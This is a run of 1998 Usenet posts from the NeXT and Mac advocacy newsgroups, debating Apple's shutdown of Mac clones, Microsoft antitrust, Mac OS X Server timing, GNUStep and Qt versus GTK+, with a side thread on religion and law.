References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <F2DB5F.H0r@T-FCN.Net> <72nbdt$1lg$1@cronkite.cs.umd.edu> <F2Iux5.1Jz@T-FCN.Net> <david_-1611981212320001@s188-236.resnet.ucla.edu> <3650973B.FD57921F@exu.ericsson.se> <david_-1611981324180001@s188-236.resnet.ucla.edu>
NNTP-Posting-Date: 17 Nov 1998 04:39:57 GMT
David Kurtz (david_@ucla.edu) wrote:
> > Odd that you're so inclusive. I would think you'd have to exclude,
> > additionally, any number of Muslim countries (Iran, Iraq for starters)
> > which have outlawed conversion to Christianity. Yes, include China, as
> > well. It might be illegal in Bosnia to think you're Croatian.
Just to clear things up: last I recall it is not illegal to convert to
Christianity in China (nor most any other religion). Nor is it illegal to
practice it. It is only illegal to practice it in large
non-state-sanctioned groups which China perceives as a threat to its
sovereignty, and to do active proseletyzing missionary work of any kind.
-- Sean, who used to be a missionary in China (well, Hong Kong at any rate)
seanl@cs.umd.edu
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Tweaking fonts (was Re: I grow old)
Date: 17 Nov 1998 04:46:05 GMT
Organization: Digital Fix Development
Message-ID: <72qv2d$n6m$1@news.digifix.com>
References: <F2JAzs.B43@T-FCN.Net> <19981116192817.06974.00000351@ng-fi1.aol.com>
In-Reply-To: <19981116192817.06974.00000351@ng-fi1.aol.com>
On 11/16/98, WillAdams wrote:
>Uh, sorry to be stepping in late, but what's Opus?
>
Opus was the "code name" of a drawing program that Don and I
worked on for a client of mine a few years back. It was geared to
doing t-shirt graphics, and was a NeXT 'port' of my existing Mac
product.
Considering that we had a real graphics capability on the Next
(something we never had on the Mac, I had to write it all myself) it
was MUCH cooler on the NeXT than it ever was on the Mac, and
substantially faster. Since our target market exclusively used PS
printers, that was always a problem having to write the dual display
models on the Mac.
Aside from the ideas, which still are very cool, the app
itself is long since dead (ownership issues).
Its too bad. It was pretty cool, there are some really great
ideas there.
>If it's a system like TouchType--I want it!
>
Well, it was never quite finished, so sorry.
It was also never OpenStepped... it was pre-OpenStep days.
>William
>
>
>William Adams
>http://members.aol.com/willadams
>Sphinx of black quartz, judge my vow.
>
>
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2Ls51.4v6@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72qfhs$f6p$1@nnrp1.dejanews.com> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com>
Date: Wed, 18 Nov 1998 05:48:37 GMT
Sender: adt@netcom17.netcom.com
Andy Walton (atticus@mindspring.com) wrote:
: adt@netcom.com (Anthony D. Tribelli) wrote:
: :Apple is far from bring a monopoly with respect to personal computers in
: :general, but their OS monopoly in the PowerPC desktop market was larger
: :than Microsoft's monopoly of the x86 desktop market.
:
: That's cute. It's like saying that Mazda had a monopoly on the Wankel
: engine car market. It has nothing to do with the actual state of the
: industry.
Not really, it's more like saying that PowerComputing had to be careful to
stay on the good side of Apple just like Compaq felt it needed to stay on
the good side of Microsoft.
: The case against Microsoft isn't that they're a bunch of meany-heads; the
: case is that they stifled competititon in the marketplace. Any such claim
: about Apple is patently absurd, given the claim of their primary
: competitor.
Apple certainly stifled competition and innovation in the MacOS hardware
marketplace, some of those clone systems looked pretty interesting at the
time.
: :Or perhaps perception has a lot to do with getting hauled into court and
: :Apple's image as the underdog helped them. I think it is premature to say
: :that Apple did not enjoy monopolistic control over the cloners.
:
: You're defining "monopolistic" awfully loosely. By that definition,
: MacDonald's should be dragged into court because it exercises monopoly
: control over its franchisees. Never mind how many other restaurants a
: consumer can choose from.
Actually our disagreement seems to be about what constitutes a
marketplace. I think the PowerPC consumer oriented dekstop market is a
different market than the x86 market. I don't think that the fact that the
two markets compete for the same end users changes the fact that each
market is internally 'controlled' by one company.
Disclaimer time again. I'm not defending Microsoft. The only reason this
Apple-as-a-monopoly argument came up was that I couldn't help but be
highly amused when someone made a general claim that it was illegal for
one company to withhold software that another company needed to survive.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
Date: Mon, 16 Nov 1998 21:54:15 -0800
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Message-ID: <stevehix-1611982154160001@192.168.1.10>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <F2DB5F.H0r@T-FCN.Net> <72nbdt$1lg$1@cronkite.cs.umd.edu> <F2Iux5.1Jz@T-FCN.Net> <david_-1611981212320001@s188-236.resnet.ucla.edu> <3650973B.FD57921F@exu.ericsson.se> <david_-1611981324180001@s188-236.resnet.ucla.edu> <72qumt$8n3$2@cronkite.cs.umd.edu>
Organization: Close to None
In article <72qumt$8n3$2@cronkite.cs.umd.edu>, seanl@cs.umd.edu (Sean
Luke) wrote:
> David Kurtz (david_@ucla.edu) wrote:
>
> > > Odd that you're so inclusive. I would think you'd have to exclude,
> > > additionally, any number of Muslim countries (Iran, Iraq for starters)
> > > which have outlawed conversion to Christianity. Yes, include China, as
> > > well. It might be illegal in Bosnia to think you're Croatian.
>
> Just to clear things up: last I recall it is not illegal to convert to
> Christianity in China (nor most any other religion). Nor is it illegal to
> practice it. It is only illegal to practice it in large
> non-state-sanctioned groups which China perceives as a threat to its
> sovereignty, and to do active proseletyzing missionary work of any kind.
Things have changed a lot...according to my wife's uncle, who
was (Chinese) doctor in China from '50 till the early 80's,
including the Cultural Revolution.
Some really grim times.
--
Do not argue with the forces of nature,
for you are small, insignificant,
and biodegradable.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2K0yo.K7D@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72qfhs$f6p$1@nnrp1.dejanews.com>
Date: Tue, 17 Nov 1998 07:03:59 GMT
Sender: adt@netcom9.netcom.com
shadowdancing@my-dejanews.com wrote:
: adt@netcom.com (Anthony D. Tribelli) wrote:
: > In reality probably not, and many of the heinous acts committed by
: > Microsoft are probably not illegal either. However in the original post
: > that I responded to someone was suggesting that it is illegal to kill (or
: > threaten) another company by denying it software that it needs to survive.
: > I just thought I'd give that poster another angle on that theory.
:
: It is illegal if you're a monopoly and you're denying other companies
: enterance into your market. It isn't illegal if you own 3.5% of the market
: share.
Apple is far from bring a monopoly with respect to personal computers in
general, but their OS monopoly in the PowerPC desktop market was larger
than Microsoft's monopoly of the x86 desktop market. The fact that there
were millions of x86 based systems out there did not lessen the control
Apple had on companies that manufactured PowerPC based consumer oriented
desktop systems.
: While Anthony is right that Apple isn't the stellar example of corporate
: morals, the double standard is a legitamate reflection of the state of the
: law.
Or perhaps perception has a lot to do with getting hauled into court and
Apple's image as the underdog helped them. I think it is premature to say
that Apple did not enjoy monopolistic control over the cloners.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: "Knife the baby" finally appears
Message-ID: <adtF2Lsnp.5nD@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: ICGNetcom
References: <364295A3.ABE8C927@earthlink.net> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72hpl5$10bs$1@nntp6.u.washington.edu> <adtF2E46H.L8C@netcom.com> <cirby-1411980253120001@pm61-25.magicnet.net> <364DC9E9.BF932E1B@spamtoNull.com> <cirby-1411981429060001@pm61-16.magicnet.net> <365063D1.A36D254E@spamtoNull.com> <ckoller-ya02408000R1611981433240001@netnews.worldnet.att.net> <3651AF3F.2FC36106@spamtoNull.com> <ckoller-ya02408000R1711981331510001@netnews.worldnet.att.net>
Date: Wed, 18 Nov 1998 05:59:49 GMT
Sender: adt@netcom17.netcom.com
Craig Koller (ckoller@worldnet.att.net) wrote:
: ... Cloners were supposed to go out and attract the
: great unwashed rather than cannibalize the already converted ...
On the other hand I can't help but wonder how many defections the cloners
prevented by offering more affordable MacOS solutions.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Mon, 16 Nov 1998 23:11:11 -0800
References: <364295A3.ABE8C927@earthlink.net> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72hpl5$10bs$1@nntp6.u.washington.edu> <adtF2E46H.L8C@netcom.com> <cirby-1411980253120001@pm61-25.magicnet.net>
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1611982311140001@sdn-ar-001casbarp006.dialsprint.net>
In article <cirby-1411980253120001@pm61-25.magicnet.net>,
cirby@magicnet.net (Chad Irby) wrote:
> That's the fun part of antitrust law. Microsoft had no real obligation to
> keep selling Office and the other apps. They could have discontinued it
> at any time. *However*, once they used the threat of killing Office to
> try and get Apple to do something, they crossed the line into "abusive
> monopoly."
Yup, now if, one day they made a announcement that Office would no longer
be available for the mac, and waited for Apple to come grovelling (and
would be 100 times more intense that whatever they did for quicken), it
would of been perfectly legal. MS's lawyers should of explained this
point of law and instead of threatening apple, leak rumors of the
cancellation of Office.
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 18:55:10 -0600
Organization: Ericsson Inc.
Message-ID: <36521AEE.371D8B5C@exu.ericsson.se>
References: <364295A3.ABE8C927@earthlink.net> <364CA67E.6C5A5121@exu.ericsson.se> <72k3jj$68e@newsb.netnews.att.com> <3650804E.936482E6@exu.ericsson.se> <72pufo$goo@newsb.netnews.att.com> <36509448.18CC0E10@exu.ericsson.se> <72srmq$ah4$1@news.asu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
not@my.address.net wrote:
>
> On 11/16/98, Michael Peck wrote:
>
> >murder transgresses one of the two Fundamental
> >Laws common to nearly every society, religion, or creed:
> >
> >1) Do not encroach on your neighbor's person or property.
> >2) Do all that you have said you will do
> >
> >No court can revoke or weaken either of these laws. They are fundamental
> >to everything we stand for, legally (or used to stand for). Note that
> >they are fundamental and common in terms of logical reduction, not
> >truncation.
>
> Let's test that claim. Let's see if everything we stand for, legally (or used
> to stand for) can be `logically reduced' to one or both of these "Two
> Fundamental Laws".
>
> How, for example, does the "logical reduction" go in the case of statutory rape?
This isn't difficult. Sound it out. The first law creates this law,
because rape of any kind is encroachment.
> Incest?
Law one. Incest is encroachment. There can be no consensual incest,
because of age of consent laws. Age of consent laws are a specification
of the first law, in order to determine the definition and application
of "person or property".
> Restrictions on the practice of medicine and law?
Such restrictions don't derive from either law.
> Laws establishing
> corporations?
A corporation is an agreement between individuals, which makes them
subject to the second law. I leave it to you to present the specific
legal issues at hand.
> The law of estates?
Property and/or estate are/is implicitly established in the first law.
> Laws establishing legislatures?
Neither law establishes a legislature. For that matter, they don't
establish due process, judicial structure, jurisprudence, or the rights
of the accused. The structure of government is the subject of a
Constitution, not of a legal code.
> Laws
> guaranteeing freedom of speech and the press?
Law one, encroachment. Bear in mind that Supreme Court rulings have
limited both freedoms to a certain extent. Speech and press are not
absolute freedoms; when they encroach they are not protected. Again, law
one. Your "right" to speak is curtailed when it involves, for instance,
shouting outside my home late at night such that I cannot sleep.
> The draft?
Completely unprotected by these laws.
> The unenforceability
> of promises not made in exchange for something of value?
As far as I know, unprotected.
> Common law principles
> of contract such as unconscionability and diminished capacity?
The second law. The second is the basis for all tort law.
> The common law
> principle that gambling debts are unenforceable?
I can only guess.
> How about the common law rule
> that the only remedy for breach of contract is money damages (rather than
> specific enforcement)?
Again, the enforcement of law is not the subject of fundamental law.
Common law was commonly enforced by means of civil magistrate (usually
clergymen) who tried civil cases in a public forum.
These courts measured damages in money, nothing else. They did not
presume to be capable of estimating the cost/benefits of specific
enforcement (the way modern courts *do*). For instance, no common law
judge would presume to have the expertise necessary to *enforce*
American public school racial integration, but would not hesitate to
award damages to those harmed by subsequent lack of school integration.
Modern courts set themselves up as expert businessmen, administrators,
and scientists, simply by dint of the power they wield.
> Or the rule at equity limiting the remedy of specific
> enforcement to contracts for the purchase/sale of land? Or the differences
> between the remedy available at equity for a claim to restitution and the remedy
> available at common law for a claim in contract?
Not all principle is derived firsthand from fundamental laws. The
principles you raise are derived from numerous sources and based upon a
large body of case precedent that served as the foundation for later
cases.
Even so, the fundamental laws served as the starting point for all
decision-making.
> How about the common law
> principle of precedent (compared, for example, to the practice on courts of
> equity, or to countries that have a legal system based on the Napoleonic Code)?
The *practice* of common law is a separate subject, as I mentioned
above. The body of common law is based upon the fundamental laws I
stated; the practice is a matter of tradition/orthodoxy and a matter of
principle-finding all its own.
> How about the law of negotiable instruments (currency, checks, etc.)?
I have no idea what is the basis for such laws.
> Laws
> against treason?
Again, no idea.
MJP
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: 18 Nov 1998 02:11:32 GMT
Organization: AOL http://www.aol.com
References: <3651F9C8.F5ADA57E@cygnus.com>
Message-ID: <19981117211132.25910.00004010@ng86.aol.com>
A few other things to look at:
www.postilion.org
www.lyx.org
www.gnustep.org (be sure to look for the link to GYVE, the GNU Yellow Vector
Editor)
For those who're forced to switch to Windows, just found out about this link,
blatant ripoff (on the presentation page I see the icons for WriteUp, Equation
Builder, homes and the home directory) at least the author is reasonably
self-deprecating.
http://www.multimania.com/thdj/English/index.htm
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 18 Nov 1998 05:56:52 GMT
Organization: University of Maryland, College Park
Message-ID: <72tnj4$n8f$1@hecate.umd.edu>
References: <364295A3.ABE8C927@earthlink.net> <cirby-1411980253120001@pm61-25.magicnet.net> <72keje$dud@news1.panix.com> <36505AFF.467AC9DC@spamtonull.com> <72pvfb$hcs@newsb.netnews.att.com> <36519D57.790C733D@spamtoNull.com> <cirby-1711981214510001@pm51-46.magicnet.net> <72tckj$rcm$3@hecate.umd.edu> <cirby-1711982346460001@pm61-06.magicnet.net>
Chad Irby (cirby@magicnet.net) wrote:
: davewang@cslab.kecl.ntt.co.jp.Glue.umd.edu (David T. Wang) wrote:
: > Chad Irby (cirby@magicnet.net) wrote:
: >
: > : Yup. Lots of struggles. Except that there never *was* a truly open
: > : cloning market in the same sense as the Mac cloning market. Compaq sold
: > : "portable" computers well before they cloned PCs, and their main jump in
: > : sales came when they beat IBM to market with a 386-based machine.
: >
: > Compaq's major claim was "100% IBM compatibility". "All software written
: > to run on IBM PC will run on Compaq computers". They wanted to be a
: > "better IBM PC maker" than IBM. Get your hands on those ancient 286
: > based Deskpros and you'll see what I mean. Full armor plating, specially
: > designed case with curved sheetmeal edges, as to not hurt the IT manager's
: > hands when he was servicing it.
: That's nice. However, Compaq didn't make so much as a *dent* in IBM's
: large-site sales until at least the 386 models. You should remember the
: old saying "nobody ever got fired for buying IBM."
Perhaps large sites stayed with IBM, but Compaq was indeed making a nice
dent in IBM's sales starting in the late '80's timeframe. Compaq was
trying very hard to present itself as an alternative to IBM, not just a
mere copycat, and its pricing structure was very close to those of IBM's.
Compaq tried to present itself as an equal, and went after exactly those
same accounts that had purchase IBM.
: > Nope, Compaq, in its early days, sold exclusively to the same market as
: > IBM. Never tried anything new. It wasn't until the 91-92 time frame,
: > when Canion was replaced by Pfifer, that Compaq went to the mass-volume,
: > lower cost model.
: You're thinking about when Compaq went after the "home" market. Big difference.
No, the initial market for those inexpensive boxes were primarily small
businesses, those that had purchased clones from garage shops. Compaq
targetted them, and said, here, look, for only 5% more (instead of 50%)
You can have a Compaq! To some extent, Compaq maintained the tank-like
deskpro line, although those were toned down. (i.e. armor plating no
longer able to withstand direct shot from M1A1 tank)
: > Prior to that, Compaq built sturdier tank-like
: > computers than IBM.
: Not so. True, they did make solid hardware, but the markets they sold to
: were very different until at least the later part of the 1980s. Corporate
: MIS departments were even more hide-bound then than they are now.
Yes, they only purchased from "tier One vendors". That often meant only
IBM, bit Compaq was targetting exactly these sites, and making inroads as
well.
: There's a difference between selling to "business' and selling to the
: businesses that IBM sold to. It's called "finding a niche and filling
: it." Compaq *did* sell some of their transportables to some IBM
: customers, but it was such a small part of the segment that IBM didn't
: think it was important.
It's not IBM didn't think that it was not important, it's just that IBM
was (and still is, to some extent) too big and rigid to respond to Compaq.
IBM was the perpetual #1, and it didn't see that changing, because
people would always buy IBM, because they're IBM, and "IBM" meant the
best.
: > : The Mac cloners... sold Macs to existing Mac users, advertising in Mac
: > : magazines (Power Computing had one ad in one PC magazine towards the end),
: > : and selling through Mac mail-order companies.
: >
: > UMax was supposedly the exception, especially with its presence in
: > Asia (not including Japan) UMax was killed too. Daystar with the MP
: > machines was killed too. It didn't matter whether you tried anything new
: > or not, SJ didn't want clones, and off came their heads.
: And, as you might have noticed in other posts here, it wan't Jobs'
: decision to kill the clones. The sentence came down well before he jumped
: back in (due to its radical failure), he just agreed with killing the Mac
: clone market.
I disagree. I think that the process was indeed started in Amelio's
watch. As we first started hearing about the re-negotiated contract
for MacOS 8 before SJ ever showed up. However, the clone companies
were clearly executed on his watch, and the tone of the negotiation
that was leaked suggested that SJ had a lot more than just a casual
involvement in the decision. IMO, it was his drive to end cloning
that saw all of the license revoked. Perhaps it was a needed step
to shore up Apple's short term finances, but it certainly wasn't a
logical long term strategy.
: > : If Compaq had only sold to preexisting IBM customers, and if Dell and
: > : Gateway had only sold in Compaq dealerships, their stories would have been
: > : much different.
: >
: > Compaq did sell to existing IBM customers until the early '90s.
: Not too many of them. IBM was too busy selling to Fortune 500 companies,
: Compaq went after the smaller ones.
: You're *really* misremembering what the computer market was like in the 1980s.
I don't think so. IMO, Compaq had indeed achieved "tier one" status by the
late '80s and very early '90s. That was what enabled Compaq's success
in the mid and now late 90's. Compaq built up the impeccable reputation
for quality, then built cheap boxes with the same name on it. That name
was worth more than the 5% price delta that remained between Compaq's
computers and garage shop clones, and thus started Eric Pfifer's reign.
Going back to the original assumption, Compaq's success really came only
after 5 or 6 years of development and maturity as a company. 2 years
isn't long enough a time frame to prove that the Mac clone companies
could (or not) exist as successful contributors to the Mac community.
: --
: Chad Irby \ My greatest fear: that future generations will,
: cirby@magicnet.net \ for some reason, refer to me as an "optimist."
--
davewang@kagututi.kecl.ntt.co.jp.I.like.green.eggs.and.ham,not.spam
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy,gnu.gnustep.discuss
Subject: Re: Switch nextstep -> linux ?
Date: 18 Nov 1998 02:11:54 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <72tada$lp$10@blue.hex.net>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca>
NNTP-Posting-Date: 18 Nov 1998 02:11:54 GMT
On Tue, 17 Nov 1998 20:04:42 GMT, Antoine Gautier
<antoine_RemoveThisFromAdress_@arrakis.RemoveThisFromAdress.osd.ulaval.ca>
wrote:
>Nextstep / openstep now has less future that it used to (!), and Apple does
>not appear to have rock-solid plans to keep the NeXT spirit alive, so I am
>beginning to think about going over to Linux...
This is really a question more suited to gnu.gnustep.discuss, as that is
where much of the "keep the NeXT spirit alive" effort resides.
>I sort of think that dropping DPS could be a problem, sice I do a lot of
>TeXing with eps images generated by various drawing apps.
Indeed.
>Also, I would
>really miss having services (or would I?).
I can't speak to that...
>I was wondering if there are users (not developpers) out there that have
>gone this route, and what their experiences have been so far.
GNUStep is quite explicitly trying to "keep the NeXT spirit alive," and
it *appears* that it is getting close to that mystical point at which
applications may soon start to be constructed.
--
"Be humble. A lot happened before you were born." - Life's Little
Instruction Book
cbbrowne@ntlug.org- <http://www.hex.net/~cbbrowne/lsf.html>
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Tue, 17 Nov 1998 18:24:38 -0800
Organization: University of British Columbia
Message-ID: <1ding60.1c88humtl1tvcN@p049.intchg1.net.ubc.ca>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
User-Agent: MacSOUP/2.4b3
WPH <whaddock@neosoft.net> wrote, among other things:
> Last week a Apple sales rep told me that MacOS X Server is basically ready
> for release. He says the marketing department just has no clue about how
> to market it.
Not too surprising in the context of the MS trial, in which Tevanian was
recently testifying that the reason Apple had to abandon Rhapsody was
that Microsoft's monopoly sucked up so much of the oxygen necessary to
competition as to make it wholly impractical to introduce a new
operating system.
Releasing Rhapsody (oops, I mean Mac OS X Server) right now might seem a
little impolitic.
The whole shell game is enough to drive one to Linux.
--
Bruce Bennett
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
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<72tfuq$oj0@shelob.afs.com>
Message-ID: <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
Date: Wed, 18 Nov 1998 06:22:49 GMT
NNTP-Posting-Date: Tue, 17 Nov 1998 22:22:49 PDT
Organization: @Home Network
In <72tfuq$oj0@shelob.afs.com> "Greg Anderson" wrote:
> WPH wrote in message ...
> >Today's MacOS Rumors says that it will be released after January's
> >MacWorld Expo so that some new features may be rolled into it. Yes, this
> >is just a rumors site, but with only Steve knowing the release date, all
> >there is is rumor and speculation.
>
> In my opinion, in this particular case, MOSR is in the general vicinity of
> the truth. Based on what I can gather from various sources, I no longer
> believe that MOSXS will ship in 1998, despite every indication that it
would
> be technically possible to do so. (In fact, *already* to have done so.)
>
> >Last week a Apple sales rep told me that MacOS X Server is basically
ready
> >for release. He says the marketing department just has no clue about how
> >to market it. I can tell him that there are people out there who want
Mac
> >OS X Server now and I will be the first in the line to buy it.
>
> I hope Santa brings you a fat pile of green, then. You're gonna need it.
>
> As to the marketing department, I would attribute the problems less to
> cluelessness than to competing internal interests. The way Apple is wired
> these days, if (ahem) *someone* wanted MOSXS to be a priority, it would
be.
> The silence speaks volumes, it seems to me.
>
>
What's with the FUD wrt. "fat pile of green". FUD is unlike Greg...
As to MacOSX server, you either have it or you don't. Apple's miscues with
Rhapsody and MacOSX imply they don't have it.
If they don't have it, all the priority in the World, won't ripen a product
to market readiness. MacOS X must compete with Linux, WinXX and other
unices. This may simply be too much to bite-off taking on the desktop AND
server OS's, all at once.
I can certainly understand the wisdom in that...
-r
Message-ID: <3652674D.78EBDD5A@nstar.net>
Date: Wed, 18 Nov 1998 00:21:01 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Linux Apps on OSX
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John Jensen wrote:
> You'd port the Gimp by replacing GTK+ calls for OSX GUI alternatives?
>
> The reson I mentioned the GTK+ port was that I had heard people discussing
> that as a possible route for a migration off X11. From the postings I'd
> seen, some people consider GTK+ a good enough and popular enough
> abstraction layer to make that possible.
I hope this doesn't come off as a flame, but the fact is that Qt is a
better solution. It's already cross-platform and it's better than GTK+.
There's no reason to speculate with regard to the feasability of
Windows-cross-X11 development with GTK+; it's been possible for over a
year now with Qt.
This was posted by Linus to comp.os.linux.advocacy (supposedly) by Linus
recently:
> More importantly, pretty much everybody seems to agree that KDE is
> actually the much nicer desktop system.
>
> I personally am very disgusted by people who advocate inferior products
> for purely political reasons. If it's inferior, you should work on
> making it better, but advocating it only because it happens to have the
> copyright of your choice is WRONG.
>
> That kind of advocacy just makes all GPL projects look bad. If a GPL
> project cannot hold its own on technical terms, there is _no_ excuse for
> using political means to try to further it in the minds of people. The
> GPL is supposed to inherently result in better products - it is not
> supposed to be used as a weapon against the competition.
>
> I personally think that KDE and Qt are both excellent products, and I
> shiver every time I see some idiot trying to slam them just because the
> authors of Qt had a different copyright.
>
> Linus
MJP
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 17 Nov 1998 21:29:17 GMT
Organization: MediActive
Message-ID: <ckoller-ya02408000R1711981331510001@netnews.worldnet.att.net>
References: <364295A3.ABE8C927@earthlink.net> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <adtF2CH1x.MEL@netcom.com> <72hpl5$10bs$1@nntp6.u.washington.edu> <adtF2E46H.L8C@netcom.com> <cirby-1411980253120001@pm61-25.magicnet.net> <364DC9E9.BF932E1B@spamtoNull.com> <cirby-1411981429060001@pm61-16.magicnet.net> <365063D1.A36D254E@spamtoNull.com> <ckoller-ya02408000R1611981433240001@netnews.worldnet.att.net> <3651AF3F.2FC36106@spamtoNull.com>
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In article <3651AF3F.2FC36106@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Craig Koller wrote:
>
> >
> > You're absolutely right. But imagine an entirely new regime taking the
> > reigns at Apple and taking stock of the situation ... here you have cloners
> > puting out better, faster machines than Apple and it's going to take at
> > least a year (if not more) to retool in order to compete.
>
> Steve Jobs wasn't "new" to Apple or to the computer industry. True, he'd
> been out of play for a long time while he was at NeXT, but I think his
> actions to date have been very consistent with his earlier tenure at
> Apple. Jobs, historically and by definition, has always been a
> "loner"--he was that way when he was at Apple the first time. He doesn't
> work well with equals in a partnership setting. He could have formed an
> alliance with the cloners with the goal of expanding the Mac market.
> Instead, he decided to go his own way and take Apple with him and
> destroy the cloners completely. He never, ever saw a positive side to
> cloners, he erroneously concluded that the Mac market could not grow,
> and he was quoted more than once in calling the cloners "leeches and
> parasites."
In one sense he was right. Cloners were supposed to go out and attract the
great unwashed rather than cannibalize the already converted. The way
cloners advertised, the way Moto and IBM bailed on CHRP and other
"alliance" projects (Taligent? Anybody? Anybody?) left Apple in a very
vulnerable spot.
To me, PowerCC was the biggest victim in this. They were an extremely cool
company that didn't deserve its demise. But I blame Spindler and Amelio
more than Jobs. Duking it out over a shrinking piece of pie isn't going to
cut it. And I'm sure Jobs knew that drastic changes were in order, such
changes that an "alliance" would surely slow down.
Now is a time for total autonomy, not a time to carry partners who's
loyalty to the Mac platform is anything but solid.
>
> >
> > You can't blame Jobs for pre-Jobs problems. In the same respect, you can't
> > blame Jobs for having to take desperate measures to fix them.
>
> I can't think of anyone to blame aside from Jobs for the fate of Mac
> cloning.
>
Don't blame anybody. These things just happen.
>
>
> > >
> > Yup, but where *is* Amelio? The guy didn't get it, nor did he have the
> > charisma to lead that company. When he got the boot, so did his operating
> > strategy, and everything the clones relied upon. Apple royally ticked off
> > Moto and UMAX, and paid a cool $100 mil in hush money to Power, but it had
> > to be done.
>
>
> I think Apple could have worked successfully with the cloners. That's
> just my opinion, but it's what I believe. At the end, they were bending
> over backwards to accomodate Jobs and he axed them anyway. I think that
> Jobs might have used these companies as an asset. But his tenure at
> Apple is a "one-man show" and he just wasn't going to work *with* them,
> no matter what they agreed to.
On the other hand, he could have bled them dry (especially the smaller,
more desperate ones) and people could blast him for victimizing the hapless
cloners. I don't think it had anything to do with distain or disregard for
the cloners. It was about saving Apple. You're free to believe that cloning
might have worked. Jobs obviously didn't, but that doesn't mean it was an
evil, ruthless decision. He took a hellofalotta heat for it.
>
>
> >
> > > What really puts the lie to all of that malarkey from Apple is the iMac.
> > > Is the iMac what you call the "high-end, profitable" part of the market?
> > > Of course not. But the only reason Apple can make *any* money from the
> > > iMac is that Apple is selling it in a vacuum--there's no iMac
> > > competition, is there?
> >
> > Tell that to the 30% of the iMac's buyers who *aren't* replacing an older
> > Mac. And consider that many Mac users have converted to PC's during the
> > worst Apple years, and could just as easily opt for a PC today.
>
>
> You missed the point. If the Mac cloners were still around, there might
